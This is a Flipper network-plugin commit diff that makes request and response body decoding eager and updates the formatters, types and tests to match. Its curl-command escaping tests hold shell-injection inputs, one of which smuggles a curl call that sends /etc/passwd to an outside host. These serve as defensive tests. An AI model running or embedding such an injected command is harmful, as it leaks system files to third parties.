Parse request bodies eagerly

Summary:
Currently the network plugin was always storing the transfer format of our request/ response bodies: a base64 string. However, those are not searchable, and every formatter (and multiple can be invoked in a single view) was responsible for its own decompressing.

This diff changes parsing requests / responses into an accurate format: a decompressed, de-base64-ed utf8 string, or a Uint8array for binary data.

We will use this in the next diffs to do some more efficient searching

Reviewed By: passy

Differential Revision: D28200190

fbshipit-source-id: 33a71aeb7b340b58305e97fff4fa5ce472169b25
This commit is contained in:
Michel Weststrate
2021-05-06 04:26:41 -07:00
committed by Facebook GitHub Bot
parent fc4a08eb55
commit 72e34bbd0d
8 changed files with 189 additions and 130 deletions

View File

@@ -23,7 +23,7 @@ import {
} from 'flipper-plugin'; } from 'flipper-plugin';
import {Select, Typography} from 'antd'; import {Select, Typography} from 'antd';
import {formatBytes, decodeBody, getHeaderValue} from './utils'; import {bodyAsBinary, bodyAsString, formatBytes, getHeaderValue} from './utils';
import {Request, Header, Insights, RetryInsights} from './types'; import {Request, Header, Insights, RetryInsights} from './types';
import {BodyOptions} from './index'; import {BodyOptions} from './index';
import {ProtobufDefinitionsRepository} from './ProtobufDefinitionsRepository'; import {ProtobufDefinitionsRepository} from './ProtobufDefinitionsRepository';
@@ -185,7 +185,7 @@ class RequestBodyInspector extends Component<{
}> { }> {
render() { render() {
const {request, formattedText} = this.props; const {request, formattedText} = this.props;
if (request.requestData == null || request.requestData.trim() === '') { if (request.requestData == null || request.requestData === '') {
return <Empty />; return <Empty />;
} }
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters; const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
@@ -221,7 +221,7 @@ class ResponseBodyInspector extends Component<{
}> { }> {
render() { render() {
const {request, formattedText} = this.props; const {request, formattedText} = this.props;
if (request.responseData == null || request.responseData.trim() === '') { if (request.responseData == null || request.responseData === '') {
return <Empty />; return <Empty />;
} }
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters; const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
@@ -265,36 +265,11 @@ const Empty = () => (
</Layout.Container> </Layout.Container>
); );
function getRequestData(request: Request) {
return {
headers: request.requestHeaders,
data: request.requestData,
};
}
function getResponseData(request: Request) {
return {
headers: request.responseHeaders,
data: request.responseData,
};
}
function renderRawBody(request: Request, mode: 'request' | 'response') { function renderRawBody(request: Request, mode: 'request' | 'response') {
// TODO: we want decoding only for non-binary data! See D23403095
const data = mode === 'request' ? request.requestData : request.responseData; const data = mode === 'request' ? request.requestData : request.responseData;
const decoded = decodeBody(
mode === 'request' ? getRequestData(request) : getResponseData(request),
);
return ( return (
<Layout.Container gap> <Layout.Container gap>
{decoded ? ( <CodeBlock>{bodyAsString(data)}</CodeBlock>
<CodeBlock>{decoded}</CodeBlock>
) : (
<>
<FormattedBy>(Failed to decode)</FormattedBy>
<CodeBlock>{data}</CodeBlock>
</>
)}
</Layout.Container> </Layout.Container>
); );
} }
@@ -359,7 +334,9 @@ class ImageFormatter {
const src = `data:${getHeaderValue( const src = `data:${getHeaderValue(
request.responseHeaders, request.responseHeaders,
'content-type', 'content-type',
)};base64,${request.responseData}`; )};base64,${Base64.fromUint8Array(
bodyAsBinary(request.responseData)!,
)}`;
return <ImageWithSize src={src} />; return <ImageWithSize src={src} />;
} else { } else {
// fallback to using the request url // fallback to using the request url
@@ -416,14 +393,14 @@ class XMLText extends Component<{body: any}> {
class JSONTextFormatter { class JSONTextFormatter {
formatRequest(request: Request) { formatRequest(request: Request) {
return this.format( return this.format(
decodeBody(getRequestData(request)), bodyAsString(request.requestData),
getHeaderValue(request.requestHeaders, 'content-type'), getHeaderValue(request.requestHeaders, 'content-type'),
); );
} }
formatResponse(request: Request) { formatResponse(request: Request) {
return this.format( return this.format(
decodeBody(getResponseData(request)), bodyAsString(request.responseData),
getHeaderValue(request.responseHeaders, 'content-type'), getHeaderValue(request.responseHeaders, 'content-type'),
); );
} }
@@ -452,14 +429,14 @@ class JSONTextFormatter {
class XMLTextFormatter { class XMLTextFormatter {
formatRequest(request: Request) { formatRequest(request: Request) {
return this.format( return this.format(
decodeBody(getRequestData(request)), bodyAsString(request.requestData),
getHeaderValue(request.requestHeaders, 'content-type'), getHeaderValue(request.requestHeaders, 'content-type'),
); );
} }
formatResponse(request: Request) { formatResponse(request: Request) {
return this.format( return this.format(
decodeBody(getResponseData(request)), bodyAsString(request.responseData),
getHeaderValue(request.responseHeaders, 'content-type'), getHeaderValue(request.responseHeaders, 'content-type'),
); );
} }
@@ -474,14 +451,14 @@ class XMLTextFormatter {
class JSONFormatter { class JSONFormatter {
formatRequest(request: Request) { formatRequest(request: Request) {
return this.format( return this.format(
decodeBody(getRequestData(request)), bodyAsString(request.requestData),
getHeaderValue(request.requestHeaders, 'content-type'), getHeaderValue(request.requestHeaders, 'content-type'),
); );
} }
formatResponse(request: Request) { formatResponse(request: Request) {
return this.format( return this.format(
decodeBody(getResponseData(request)), bodyAsString(request.responseData),
getHeaderValue(request.responseHeaders, 'content-type'), getHeaderValue(request.responseHeaders, 'content-type'),
); );
} }
@@ -514,7 +491,7 @@ class JSONFormatter {
class LogEventFormatter { class LogEventFormatter {
formatRequest(request: Request) { formatRequest(request: Request) {
if (request.url.indexOf('logging_client_event') > 0) { if (request.url.indexOf('logging_client_event') > 0) {
const data = querystring.parse(decodeBody(getRequestData(request))); const data = querystring.parse(bodyAsString(request.requestData));
if (typeof data.message === 'string') { if (typeof data.message === 'string') {
data.message = JSON.parse(data.message); data.message = JSON.parse(data.message);
} }
@@ -526,7 +503,7 @@ class LogEventFormatter {
class GraphQLBatchFormatter { class GraphQLBatchFormatter {
formatRequest(request: Request) { formatRequest(request: Request) {
if (request.url.indexOf('graphqlbatch') > 0) { if (request.url.indexOf('graphqlbatch') > 0) {
const data = querystring.parse(decodeBody(getRequestData(request))); const data = querystring.parse(bodyAsString(request.requestData));
if (typeof data.queries === 'string') { if (typeof data.queries === 'string') {
data.queries = JSON.parse(data.queries); data.queries = JSON.parse(data.queries);
} }
@@ -554,7 +531,7 @@ class GraphQLFormatter {
const requestStartMs = serverMetadata['request_start_time_ms']; const requestStartMs = serverMetadata['request_start_time_ms'];
const timeAtFlushMs = serverMetadata['time_at_flush_ms']; const timeAtFlushMs = serverMetadata['time_at_flush_ms'];
return ( return (
<Text> <Text type="secondary">
{'Server wall time for initial response (ms): ' + {'Server wall time for initial response (ms): ' +
(timeAtFlushMs - requestStartMs)} (timeAtFlushMs - requestStartMs)}
</Text> </Text>
@@ -562,11 +539,11 @@ class GraphQLFormatter {
} }
formatRequest(request: Request) { formatRequest(request: Request) {
if (request.url.indexOf('graphql') > 0) { if (request.url.indexOf('graphql') > 0) {
const decoded = decodeBody(getRequestData(request)); const decoded = request.requestData;
if (!decoded) { if (!decoded) {
return undefined; return undefined;
} }
const data = querystring.parse(decoded); const data = querystring.parse(bodyAsString(decoded));
if (typeof data.variables === 'string') { if (typeof data.variables === 'string') {
data.variables = JSON.parse(data.variables); data.variables = JSON.parse(data.variables);
} }
@@ -579,7 +556,7 @@ class GraphQLFormatter {
formatResponse(request: Request) { formatResponse(request: Request) {
return this.format( return this.format(
decodeBody(getResponseData(request)), bodyAsString(request.responseData!),
getHeaderValue(request.responseHeaders, 'content-type'), getHeaderValue(request.responseHeaders, 'content-type'),
); );
} }
@@ -621,11 +598,16 @@ class FormUrlencodedFormatter {
formatRequest = (request: Request) => { formatRequest = (request: Request) => {
const contentType = getHeaderValue(request.requestHeaders, 'content-type'); const contentType = getHeaderValue(request.requestHeaders, 'content-type');
if (contentType.startsWith('application/x-www-form-urlencoded')) { if (contentType.startsWith('application/x-www-form-urlencoded')) {
const decoded = decodeBody(getRequestData(request)); const decoded = request.requestData;
if (!decoded) { if (!decoded) {
return undefined; return undefined;
} }
return <DataInspector expandRoot data={querystring.parse(decoded)} />; return (
<DataInspector
expandRoot
data={querystring.parse(bodyAsString(decoded))}
/>
);
} }
}; };
} }
@@ -675,7 +657,7 @@ class ProtobufFormatter {
if (request.requestData) { if (request.requestData) {
const data = protobufDefinition.decode( const data = protobufDefinition.decode(
Base64.toUint8Array(request.requestData), bodyAsBinary(request.requestData)!,
); );
return <JSONText>{data.toJSON()}</JSONText>; return <JSONText>{data.toJSON()}</JSONText>;
} else { } else {
@@ -708,7 +690,7 @@ class ProtobufFormatter {
if (request.responseData) { if (request.responseData) {
const data = protobufDefinition.decode( const data = protobufDefinition.decode(
Base64.toUint8Array(request.responseData), bodyAsBinary(request.responseData)!,
); );
return <JSONText>{data.toJSON()}</JSONText>; return <JSONText>{data.toJSON()}</JSONText>;
} else { } else {

View File

@@ -88,8 +88,14 @@ test('Reducer correctly adds followup chunk', () => {
test('Reducer correctly combines initial response and followup chunk', () => { test('Reducer correctly combines initial response and followup chunk', () => {
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin); const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
sendEvent('newRequest', { sendEvent('newRequest', {
data: 'x', data: btoa('x'),
headers: [{key: 'y', value: 'z'}], headers: [
{key: 'y', value: 'z'},
{
key: 'Content-Type',
value: 'text/plain',
},
],
id: '1', id: '1',
method: 'GET', method: 'GET',
timestamp: 0, timestamp: 0,
@@ -97,7 +103,7 @@ test('Reducer correctly combines initial response and followup chunk', () => {
}); });
sendEvent('partialResponse', { sendEvent('partialResponse', {
data: 'aGVs', data: 'aGVs',
headers: [], headers: [{key: 'Content-Type', value: 'text/plain'}],
id: '1', id: '1',
insights: null, insights: null,
isMock: false, isMock: false,
@@ -113,7 +119,12 @@ test('Reducer correctly combines initial response and followup chunk', () => {
"followupChunks": Object {}, "followupChunks": Object {},
"initialResponse": Object { "initialResponse": Object {
"data": "aGVs", "data": "aGVs",
"headers": Array [], "headers": Array [
Object {
"key": "Content-Type",
"value": "text/plain",
},
],
"id": "1", "id": "1",
"index": 0, "index": 0,
"insights": null, "insights": null,
@@ -128,7 +139,13 @@ test('Reducer correctly combines initial response and followup chunk', () => {
`); `);
expect(instance.requests.records()[0]).toMatchObject({ expect(instance.requests.records()[0]).toMatchObject({
requestData: 'x', requestData: 'x',
requestHeaders: [{key: 'y', value: 'z'}], requestHeaders: [
{key: 'y', value: 'z'},
{
key: 'Content-Type',
value: 'text/plain',
},
],
id: '1', id: '1',
method: 'GET', method: 'GET',
url: 'http://test.com', url: 'http://test.com',
@@ -155,9 +172,13 @@ test('Reducer correctly combines initial response and followup chunk', () => {
key: 'y', key: 'y',
value: 'z', value: 'z',
}, },
{
key: 'Content-Type',
value: 'text/plain',
},
], ],
responseData: 'aGVsbG8=', responseData: 'hello',
responseHeaders: [], responseHeaders: [{key: 'Content-Type', value: 'text/plain'}],
responseIsMock: false, responseIsMock: false,
responseLength: 5, responseLength: 5,
status: 200, status: 200,

View File

@@ -14,12 +14,16 @@ import {ResponseInfo} from '../types';
import {promisify} from 'util'; import {promisify} from 'util';
import {readFileSync} from 'fs'; import {readFileSync} from 'fs';
async function createMockResponse(input: string): Promise<ResponseInfo> { async function createMockResponse(
input: string,
contentType: string,
): Promise<ResponseInfo> {
const inputData = await promisify(readFile)( const inputData = await promisify(readFile)(
path.join(__dirname, 'fixtures', input), path.join(__dirname, 'fixtures', input),
'ascii', 'ascii',
); );
const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body
const contentTypeHeader = {key: 'Content-Type', value: contentType};
const testResponse: ResponseInfo = { const testResponse: ResponseInfo = {
id: '0', id: '0',
timestamp: 0, timestamp: 0,
@@ -31,8 +35,9 @@ async function createMockResponse(input: string): Promise<ResponseInfo> {
key: 'Content-Encoding', key: 'Content-Encoding',
value: 'gzip', value: 'gzip',
}, },
contentTypeHeader,
] ]
: [], : [contentTypeHeader],
data: inputData.replace(/\s+?/g, '').trim(), // remove whitespace caused by copy past of the base64 data, data: inputData.replace(/\s+?/g, '').trim(), // remove whitespace caused by copy past of the base64 data,
isMock: false, isMock: false,
insights: undefined, insights: undefined,
@@ -42,6 +47,18 @@ async function createMockResponse(input: string): Promise<ResponseInfo> {
return testResponse; return testResponse;
} }
function bodyAsString(response: ResponseInfo) {
const res = decodeBody(response.headers, response.data);
expect(typeof res).toBe('string');
return (res as string).trim();
}
function bodyAsBuffer(response: ResponseInfo) {
const res = decodeBody(response.headers, response.data);
expect(res).toBeInstanceOf(Uint8Array);
return Buffer.from(res as Uint8Array);
}
describe('network data encoding', () => { describe('network data encoding', () => {
const donatingExpected = readFileSync( const donatingExpected = readFileSync(
path.join(__dirname, 'fixtures', 'donating.md'), path.join(__dirname, 'fixtures', 'donating.md'),
@@ -56,46 +73,66 @@ describe('network data encoding', () => {
); );
test('donating.md.utf8.ios.txt', async () => { test('donating.md.utf8.ios.txt', async () => {
const response = await createMockResponse('donating.md.utf8.ios.txt'); const response = await createMockResponse(
expect(decodeBody(response).trim()).toEqual(donatingExpected); 'donating.md.utf8.ios.txt',
'text/plain',
);
expect(bodyAsString(response)).toEqual(donatingExpected);
}); });
test('donating.md.utf8.gzip.ios.txt', async () => { test('donating.md.utf8.gzip.ios.txt', async () => {
const response = await createMockResponse('donating.md.utf8.gzip.ios.txt'); const response = await createMockResponse(
expect(decodeBody(response).trim()).toEqual(donatingExpected); 'donating.md.utf8.gzip.ios.txt',
'text/plain',
);
expect(bodyAsString(response)).toEqual(donatingExpected);
}); });
test('donating.md.utf8.android.txt', async () => { test('donating.md.utf8.android.txt', async () => {
const response = await createMockResponse('donating.md.utf8.android.txt'); const response = await createMockResponse(
expect(decodeBody(response).trim()).toEqual(donatingExpected); 'donating.md.utf8.android.txt',
'text/plain',
);
expect(bodyAsString(response)).toEqual(donatingExpected);
}); });
test('donating.md.utf8.gzip.android.txt', async () => { test('donating.md.utf8.gzip.android.txt', async () => {
const response = await createMockResponse( const response = await createMockResponse(
'donating.md.utf8.gzip.android.txt', 'donating.md.utf8.gzip.android.txt',
'text/plain',
); );
expect(decodeBody(response).trim()).toEqual(donatingExpected); expect(bodyAsString(response)).toEqual(donatingExpected);
}); });
test('tiny_logo.android.txt', async () => { test('tiny_logo.android.txt', async () => {
const response = await createMockResponse('tiny_logo.android.txt'); const response = await createMockResponse(
'tiny_logo.android.txt',
'image/png',
);
expect(response.data).toEqual(tinyLogoExpected.toString('base64')); expect(response.data).toEqual(tinyLogoExpected.toString('base64'));
expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected);
}); });
test('tiny_logo.android.txt - encoded', async () => { test('tiny_logo.android.txt - encoded', async () => {
const response = await createMockResponse('tiny_logo.android.txt'); const response = await createMockResponse(
'tiny_logo.android.txt',
'image/png',
);
// this compares to the correct base64 encoded src tag of the img in Flipper UI // this compares to the correct base64 encoded src tag of the img in Flipper UI
expect(response.data).toEqual(tinyLogoBase64Expected.trim()); expect(response.data).toEqual(tinyLogoBase64Expected.trim());
expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected);
}); });
test('tiny_logo.ios.txt', async () => { test('tiny_logo.ios.txt', async () => {
const response = await createMockResponse('tiny_logo.ios.txt'); const response = await createMockResponse('tiny_logo.ios.txt', 'image/png');
expect(response.data).toEqual(tinyLogoExpected.toString('base64')); expect(response.data).toEqual(tinyLogoExpected.toString('base64'));
expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected);
}); });
test('tiny_logo.ios.txt - encoded', async () => { test('tiny_logo.ios.txt - encoded', async () => {
const response = await createMockResponse('tiny_logo.ios.txt'); const response = await createMockResponse('tiny_logo.ios.txt', 'image/png');
// this compares to the correct base64 encoded src tag of the img in Flipper UI // this compares to the correct base64 encoded src tag of the img in Flipper UI
expect(response.data).toEqual(tinyLogoBase64Expected.trim()); expect(response.data).toEqual(tinyLogoBase64Expected.trim());
expect(bodyAsBuffer(response)).toEqual(tinyLogoExpected);
}); });
}); });

View File

@@ -30,7 +30,7 @@ test('convertRequestToCurlCommand: simple POST', () => {
method: 'POST', method: 'POST',
url: 'https://fbflipper.com/', url: 'https://fbflipper.com/',
requestHeaders: [], requestHeaders: [],
requestData: btoa('some=data&other=param'), requestData: 'some=data&other=param',
}; };
const command = convertRequestToCurlCommand(request); const command = convertRequestToCurlCommand(request);
@@ -46,7 +46,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
method: 'POST', method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password", url: "https://fbflipper.com/'; cat /etc/password",
requestHeaders: [], requestHeaders: [],
requestData: btoa('some=data&other=param'), requestData: 'some=data&other=param',
}; };
let command = convertRequestToCurlCommand(request); let command = convertRequestToCurlCommand(request);
@@ -60,7 +60,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
method: 'POST', method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password', url: 'https://fbflipper.com/"; cat /etc/password',
requestHeaders: [], requestHeaders: [],
requestData: btoa('some=data&other=param'), requestData: 'some=data&other=param',
}; };
command = convertRequestToCurlCommand(request); command = convertRequestToCurlCommand(request);
@@ -76,7 +76,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
method: 'POST', method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password", url: "https://fbflipper.com/'; cat /etc/password",
requestHeaders: [], requestHeaders: [],
requestData: btoa('some=data&other=param'), requestData: 'some=data&other=param',
}; };
let command = convertRequestToCurlCommand(request); let command = convertRequestToCurlCommand(request);
@@ -90,7 +90,7 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
method: 'POST', method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password', url: 'https://fbflipper.com/"; cat /etc/password',
requestHeaders: [], requestHeaders: [],
requestData: btoa('some=data&other=param'), requestData: 'some=data&other=param',
}; };
command = convertRequestToCurlCommand(request); command = convertRequestToCurlCommand(request);
@@ -106,9 +106,7 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
method: 'POST', method: 'POST',
url: 'https://fbflipper.com/', url: 'https://fbflipper.com/',
requestHeaders: [], requestHeaders: [],
requestData: btoa( requestData: 'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"',
'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"',
),
}; };
let command = convertRequestToCurlCommand(request); let command = convertRequestToCurlCommand(request);
@@ -122,7 +120,7 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
method: 'POST', method: 'POST',
url: 'https://fbflipper.com/', url: 'https://fbflipper.com/',
requestHeaders: [], requestHeaders: [],
requestData: btoa('some=!!'), requestData: 'some=!!',
}; };
command = convertRequestToCurlCommand(request); command = convertRequestToCurlCommand(request);
@@ -138,7 +136,7 @@ test('convertRequestToCurlCommand: control characters', () => {
method: 'GET', method: 'GET',
url: 'https://fbflipper.com/', url: 'https://fbflipper.com/',
requestHeaders: [], requestHeaders: [],
requestData: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'), requestData: 'some=\u0007 \u0009 \u000C \u001B&other=param',
}; };
const command = convertRequestToCurlCommand(request); const command = convertRequestToCurlCommand(request);

View File

@@ -41,6 +41,7 @@ import {
formatBytes, formatBytes,
formatDuration, formatDuration,
requestsToText, requestsToText,
decodeBody,
} from './utils'; } from './utils';
import RequestDetails from './RequestDetails'; import RequestDetails from './RequestDetails';
import {URL} from 'url'; import {URL} from 'url';
@@ -329,7 +330,7 @@ function createRequestFromRequestInfo(data: RequestInfo): Request {
url: data.url ?? '', url: data.url ?? '',
domain, domain,
requestHeaders: data.headers, requestHeaders: data.headers,
requestData: data.data ?? undefined, requestData: decodeBody(data.headers, data.data),
}; };
} }
@@ -343,7 +344,7 @@ function updateRequestWithResponseInfo(
status: response.status, status: response.status,
reason: response.reason, reason: response.reason,
responseHeaders: response.headers, responseHeaders: response.headers,
responseData: response.data ?? undefined, responseData: decodeBody(response.headers, response.data),
responseIsMock: response.isMock, responseIsMock: response.isMock,
responseLength: getResponseLength(response), responseLength: getResponseLength(response),
duration: response.timestamp - request.requestTime.getTime(), duration: response.timestamp - request.requestTime.getTime(),

View File

@@ -13,7 +13,7 @@ import electron, {OpenDialogOptions, remote} from 'electron';
import {Atom, DataTableManager} from 'flipper-plugin'; import {Atom, DataTableManager} from 'flipper-plugin';
import {createContext} from 'react'; import {createContext} from 'react';
import {Header, Request} from '../types'; import {Header, Request} from '../types';
import {decodeBody} from '../utils'; import {bodyAsString, decodeBody} from '../utils';
import {message} from 'antd'; import {message} from 'antd';
export type Route = { export type Route = {
@@ -120,10 +120,10 @@ export function createNetworkManager(
// convert data TODO: we only want this for non-binary data! See D23403095 // convert data TODO: we only want this for non-binary data! See D23403095
const responseData = const responseData =
request && request.responseData request && request.responseData
? decodeBody({ ? decodeBody(
headers: request.responseHeaders ?? [], request.responseHeaders ?? [],
data: request.responseData, bodyAsString(request.responseData),
}) )
: ''; : '';
const newNextRouteId = nextRouteId.get(); const newNextRouteId = nextRouteId.get();

View File

@@ -20,13 +20,13 @@ export interface Request {
url: string; url: string;
domain: string; domain: string;
requestHeaders: Array<Header>; requestHeaders: Array<Header>;
requestData?: string; requestData: string | Uint8Array | undefined;
// response // response
responseTime?: Date; responseTime?: Date;
status?: number; status?: number;
reason?: string; reason?: string;
responseHeaders?: Array<Header>; responseHeaders?: Array<Header>;
responseData?: string; responseData?: string | Uint8Array | undefined;
responseLength?: number; responseLength?: number;
responseIsMock?: boolean; responseIsMock?: boolean;
duration?: number; duration?: number;

View File

@@ -26,27 +26,42 @@ export function getHeaderValue(
return ''; return '';
} }
export function decodeBody(container: { export function isTextual(headers?: Array<Header>): boolean {
headers?: Array<Header>; const contentType = getHeaderValue(headers, 'Content-Type');
data: string | null | undefined; if (!contentType) {
}): string { return false;
if (!container.data) { }
return ''; // https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types
// https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
return (
contentType.startsWith('text/') ||
contentType.startsWith('application/x-www-form-urlencoded') ||
contentType.startsWith('application/json') ||
contentType.startsWith('multipart/') ||
contentType.startsWith('message/') ||
contentType.startsWith('image/svg')
);
}
export function decodeBody(
headers?: Array<Header>,
data?: string | null,
): string | undefined | Uint8Array {
if (!data) {
return undefined;
} }
try { try {
const isGzip = const isGzip = getHeaderValue(headers, 'Content-Encoding') === 'gzip';
getHeaderValue(container.headers, 'Content-Encoding') === 'gzip';
if (isGzip) { if (isGzip) {
try { try {
const binStr = Base64.atob(container.data); // The request is gzipped, so convert the raw bytes back to base64 first.
const dataArr = new Uint8Array(binStr.length); const dataArr = Base64.toUint8Array(data);
for (let i = 0; i < binStr.length; i++) { // then inflate.
dataArr[i] = binStr.charCodeAt(i); return isTextual(headers)
} ? // pako will detect the BOM headers and return a proper utf-8 string right away
// The request is gzipped, so convert the base64 back to the raw bytes first, pako.inflate(dataArr, {to: 'string'})
// then inflate. pako will detect the BOM headers and return a proper utf-8 string right away : pako.inflate(dataArr);
return pako.inflate(dataArr, {to: 'string'});
} catch (e) { } catch (e) {
// on iOS, the stream send to flipper is already inflated, so the content-encoding will not // on iOS, the stream send to flipper is already inflated, so the content-encoding will not
// match the actual data anymore, and we should skip inflating. // match the actual data anymore, and we should skip inflating.
@@ -57,14 +72,18 @@ export function decodeBody(container: {
} }
} }
// If this is not a gzipped request, assume we are interested in a proper utf-8 string. // If this is not a gzipped request, assume we are interested in a proper utf-8 string.
// - If the raw binary data in is needed, in base64 form, use container.data directly // - If the raw binary data in is needed, in base64 form, use data directly
// - either directly use container.data (for example) // - either directly use data (for example)
return Base64.decode(container.data); if (isTextual(headers)) {
return Base64.decode(data);
} else {
return Base64.toUint8Array(data);
}
} catch (e) { } catch (e) {
console.warn( console.warn(
`Flipper failed to decode request/response body (size: ${container.data.length}): ${e}`, `Flipper failed to decode request/response body (size: ${data.length}): ${e}`,
); );
return ''; return undefined;
} }
} }
@@ -78,17 +97,31 @@ export function convertRequestToCurlCommand(
const headerStr = `${header.key}: ${header.value}`; const headerStr = `${header.key}: ${header.value}`;
command += ` -H ${escapedString(headerStr)}`; command += ` -H ${escapedString(headerStr)}`;
}); });
// Add body. TODO: we only want this for non-binary data! See D23403095 if (typeof request.requestData === 'string') {
const body = decodeBody({ command += ` -d ${escapedString(request.requestData)}`;
headers: request.requestHeaders,
data: request.requestData,
});
if (body) {
command += ` -d ${escapedString(body)}`;
} }
return command; return command;
} }
export function bodyAsString(body: undefined | string | Uint8Array): string {
if (body == undefined) {
return '(empty)';
}
if (body instanceof Uint8Array) {
return '(binary data)';
}
return body;
}
export function bodyAsBinary(
body: undefined | string | Uint8Array,
): Uint8Array | undefined {
if (body instanceof Uint8Array) {
return body;
}
return undefined;
}
function escapeCharacter(x: string) { function escapeCharacter(x: string) {
const code = x.charCodeAt(0); const code = x.charCodeAt(0);
return code < 16 ? '\\u0' + code.toString(16) : '\\u' + code.toString(16); return code < 16 ? '\\u0' + code.toString(16) : '\\u' + code.toString(16);
@@ -167,21 +200,8 @@ export function requestsToText(requests: Request[]): string {
.join('\n')}`; .join('\n')}`;
// TODO: we want decoding only for non-binary data! See D23403095 // TODO: we want decoding only for non-binary data! See D23403095
const requestData = request.requestData if (request.requestData) {
? decodeBody({ copyText += `\n\n${request.requestData}`;
headers: request.requestHeaders,
data: request.requestData,
})
: null;
const responseData = request.responseData
? decodeBody({
headers: request.responseHeaders,
data: request.responseData,
})
: null;
if (requestData) {
copyText += `\n\n${requestData}`;
} }
if (request.status) { if (request.status) {
copyText += ` copyText += `
@@ -198,8 +218,8 @@ export function requestsToText(requests: Request[]): string {
}`; }`;
} }
if (responseData) { if (request.responseData) {
copyText += `\n\n${responseData}`; copyText += `\n\n${request.responseData}`;
} }
return copyText; return copyText;
} }